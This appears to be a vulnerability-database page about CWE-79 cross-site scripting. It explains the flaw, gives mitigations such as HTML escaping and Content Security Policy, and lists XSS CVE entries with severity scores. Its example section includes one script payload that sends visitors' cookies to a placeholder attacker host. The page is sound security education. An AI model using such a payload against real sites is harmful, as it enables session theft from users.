Fallos del tipo CWE-79

29.338 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-34022HIGHWordPress Dynamic QR Code Generator Plugin <= 0.0.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2024-23034MEDIUMCross Site Scripting vulnerability in the input parameter in eyoucms v.1.6.5 allows a remote attacker to run arbitrary code via crafted URL.EPSS 0.5%CVE-2026-32852MEDIUMMailEnable < 10.55 Reflected XSS via FreeBusy.aspx StartDate ParameterEPSS 0.5%CVE-2023-0410MEDIUMCross-site Scripting (XSS) - Generic in builderio/qwikEPSS 0.5%CVE-2015-10127LOWPlusCaptcha Plugin cross site scriptingEPSS 0.5%CVE-2026-58491CRITICALWarpgate: Reflected XSS in SSO return endpoint via attacker-controlled next parameterEPSS 0.5%CVE-2023-6148MEDIUMPossible XSS vulnerability in Jenkins Plugin for Qualys Policy ComplianceEPSS 0.5%CVE-2023-5084LOWCross-site Scripting (XSS) - Reflected in hestiacp/hestiacpEPSS 0.5%CVE-2024-12664MEDIUMruifang-tech Rebuild Project Task Comment cross site scriptingEPSS 0.5%CVE-2024-23032MEDIUMCross Site Scripting vulnerability in num parameter in eyoucms v.1.6.5 allows a remote attacker to run arbitrary code via crafted URL.EPSS 0.5%CVE-2024-23387MEDIUMFusionPBX prior to 5.1.0 contains a cross-site scripting vulnerability. If this vulnerability is exploited by a remote authenticated attackeEPSS 0.5%CVE-2026-32851MEDIUMMailEnable < 10.55 Reflected XSS via FreeBusy.aspx StartDate ParameterEPSS 0.5%CVE-2023-34032HIGHWordPress bbPress Toolkit Plugin <= 1.0.12 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2026-32850MEDIUMMailEnable < 10.55 Reflected XSS via ManageShares.aspx SelectedIndex ParameterEPSS 0.5%CVE-2024-8717MEDIUMPDF Flipbook, 3D Flipbook, PDF embed, PDF viewer – DearFlip <= 2.3.32 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2023-23938MEDIUMCross-site Scripting (XSS) through the name of a color of select box values in tuleapEPSS 0.5%CVE-2023-25453HIGHWordPress WordPress Tables Plugin <= 1.3.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2022-4966LOWsequentech admin-console Election Description cross site scriptingEPSS 0.5%CVE-2024-9806MEDIUMCraig Rodway Classroombookings Room Page fields cross site scriptingEPSS 0.5%CVE-2023-0371MEDIUMEmbedSocial < 1.1.28 - Contributor+ Stored XSSEPSS 0.5%